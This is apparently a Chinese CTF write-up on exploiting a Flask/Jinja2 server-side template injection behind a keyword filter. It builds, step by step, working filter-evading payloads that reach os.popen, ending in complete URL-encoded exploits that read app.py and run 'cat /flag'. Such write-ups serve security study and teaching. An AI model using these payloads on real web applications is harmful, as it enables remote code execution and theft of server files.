Werkzeug/1.0.1Python/3.8.7
    源码exp

    1. /?name=%20{%%20set%20po=dict(po=a,p=a)|join%}%20{%%20set%20a=(()|select|string|list)|attr(po)(24)%}%20{%%20set%20ini=(a,a,dict(init=a)|join,a,a)|join()%}%20{%%20set%20glo=(a,a,dict(globals=a)|join,a,a)|join()%}%20{%%20set%20geti=(a,a,dict(getitem=a)|join,a,a)|join()%}%20{%%20set%20built=(a,a,dict(builtins=a)|join,a,a)|join()%}%20{%%20set%20x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}%20{%%20set%20chr=x.chr%}%20{%%20set%20file=chr(97)%2bchr(112)%2bchr(112)%2bchr(46)%2bchr(112)%2bchr(121)%}%20{%print(x.open(file).read())%}

    image.png
    源码

    1. from flask import Flask
    2. from flask import request
    3. from flask import render_template_string
    4. from flask import session
    5. import re
    6. app = Flask(__name__)
    7. @app.route('/')
    8. def app_index():
    9. name = request.args.get('name')
    10. if name:
    11. if re.search(r"\'|\"|args|\[|\_|os|\{\{|request",name,re.I):
    12. return ':('
    13. template = '''
    14. {%% block body %%}
    15. <div class="center-content error">
    16. <h1>Hello</h1>
    17. <h3>%s</h3>
    18. </div>
    19. {%% endblock %%}
    20. ''' % (request.args.get('name'))
    21. return render_template_string(template)
    22. if __name__=="__main__":
    23. app.run(host='0.0.0.0',port=80)

    过滤了 request,也就是说前面那的绕过没啥用了。。剩下可用的字符主要有 {%(|.
    下文中的绕过方法多多少少都用到 _['"
    https://blog.csdn.net/miuzzx/article/details/110220425

    其实主要还是获取子属性需要用到 __getxxx__[x]、之类的。所以要点在于,如何利用控制定界符,代替被过滤的字符 _['"request 获取子属性。

    |attr(xx) 还能用否?能,圆括号没过滤,不过要拼接。

    先把骨架部分写一下

    1. {%lipsum|attr('__globals__')|attr('__getitem__')('os').popen('cat /tmp/flag').read()%}
    • ' " 引号可通过变量传入方式来进行 {% set o=chr(111)+chr(115) %}
    • _ 可以用 chr(95) 表示,当前其他字母也可以。
    • chr 在 Jinja2 上下文环境没法直接用,需要通过 __builtins__ 找到

    但没找到 __builtins__ 就用不了 _,真是矛盾呢。。。先拓展一下其他方法来获取 _

    listselectstring**

    • list:将值转换为列表。如果它是一个字符串,返回的列表将是一个字符列表。
    • select:选择器,使用方式 可迭代对象|select(filters方式)

      1. {{ [1,2]|select('odd')|list }}

      结果为 [2],其中 odd 是判断可迭代对象是否含有奇数

    • string:转换为字符串

    执行

    1. {{ ()|select|string }}

    结果为 <generator object select_or_reject at 0x105bc9970>
    那么可以通过控制下表控制我们想要的字母,比如 {{ (()|select|string)[0] }}<,下划线 _{{ (()|select|string)[24] }}

    但题目中过滤了 [ ,那么可以利用 list 并用 pop 方法来控制,即弹出列表某一序列下标,并返回弹出的值
    image.png
    获取下划线 _

    尝试

    1. {{ ()|select|string|list.pop(24) }}

    报错

    1. jinja2.exceptions.TemplateAssertionError: no filter named 'list.pop'

    模板中不能把 filter.获取子属性混合用
    但直接引用又会引入单引号

    1. {{ ()|select|string|list|attr('pop')(24) }}

    还需要拓展姿势
    dictjoin

    • dict:生成字典,如 dict(t=1,a=2)生成 {'t': 1, 'a': 2} 关键点,通过 dictjoin 实现无中括号字符串拼接
      测试代码如下 ```python from flask import Flask, request from jinja2 import Template

    app = Flask(name)

    @app.route(‘/‘) def index(): template = ‘’’ {%set t=dict(ta=1,r=1,i=1)|join%} {{ t }} ‘’’ return Template(template).render()

    if name == “main“: app.run(‘0.0.0.0’)

    1. 输出<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2789727/1620454323639-135c380d-9573-4ef7-a3fd-959aa9cc3521.png#align=left&display=inline&height=118&margin=%5Bobject%20Object%5D&name=image.png&originHeight=236&originWidth=938&size=22309&status=done&style=none&width=469)<br />可见 `join` 是拼接 `dict` 里的键,`dict`的值任意即可
    2. 好,下划线 `_` 可以获取了
    3. ```python
    4. {{ ()|select|string|list|attr(dict(pop=1)|join)(24) }}

    因为题目过滤了 {{ ,然后为了增加这块这么长的代码复用,赋值到变量里面

    1. {% set x=()|select|string|list|attr(dict(pop=1)|join)(24) %}

    把骨架中替换一下带有下划线的

    1. {% set x=()|select|string|list|attr(dict(pop=1)|join)(24) %}
    2. {% set g=x~x~(dict(globals=x)|join)~x~x %}
    3. {% set ge=x~x~(dict(getitem=x)|join)~x~x %}

    其中

    不过到 'os' 模块这,要用到 chr 方法,否则无法绕过 '

    1. {# 下划线 '_' #}
    2. {% set x=()|select|string|list|attr(dict(pop=1)|join)(24) %}
    3. {# 字符串 '__globals__' #}
    4. {% set g=x~x~(dict(globals=x)|join)~x~x %}
    5. {# 字符串 '__getitem__' #}
    6. {% set ge=x~x~(dict(getitem=x)|join)~x~x %}
    7. {# 字符串 '__builtins__' #}
    8. {% set b=x~x~(dict(builtins=x)|join)~x~x %}
    9. {# builtins模块 lipsum.__globals__.__getitem__('__builtins__') #}
    10. {% set buin=(lipsum|attr(g)|attr(ge))(b) %}
    11. {# chr函数 lipsum.__globals__.__getitem__('__builtins__').chr #}
    12. {% set chr=buin.chr %}
    13. {# os模块 lipsum.__globals__.__getitem__('os') #}
    14. {% set o=lipsum|attr(g)|attr(ge)(chr(111)+chr(115)) %}
    15. {# 需要执行的命令, 这里是 cat /tmp/flag #}
    16. {% set cmd=chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103) %}
    17. {% print(o.popen(cmd).read()) %}
    • 其中 {# #} 定界符为注释

    在对应下我们的骨架,差不多了 (

    1. {%lipsum|attr('__globals__')|attr('__getitem__')('os').popen('cat /tmp/flag').read()%}

    本地试试,没啥问题
    image.png

    因为打线上是通过 GET 参数进行的,有点小细节

    • + 号要 URL 编码为 %2b 否则,+ URL解码会变为空格

    最终 EXP

    1. /?name={%%20set%20x=()|select|string|list|attr(dict(pop=1)|join)(24)%20%}{%%20set%20g=x~x~(dict(globals=x)|join)~x~x%20%}{%%20set%20ge=x~x~(dict(getitem=x)|join)~x~x%20%}{%%20set%20b=x~x~(dict(builtins=x)|join)~x~x%20%}{%%20set%20buin=(lipsum|attr(g)|attr(ge))(b)%20%}{%%20set%20chr=buin.chr%20%}{%%20set%20o=lipsum|attr(g)|attr(ge)(chr(111)%2bchr(115))%20%}{%%20set%20cmd=chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%20%}{%%20print(o.popen(cmd).read())%20%}

    image.png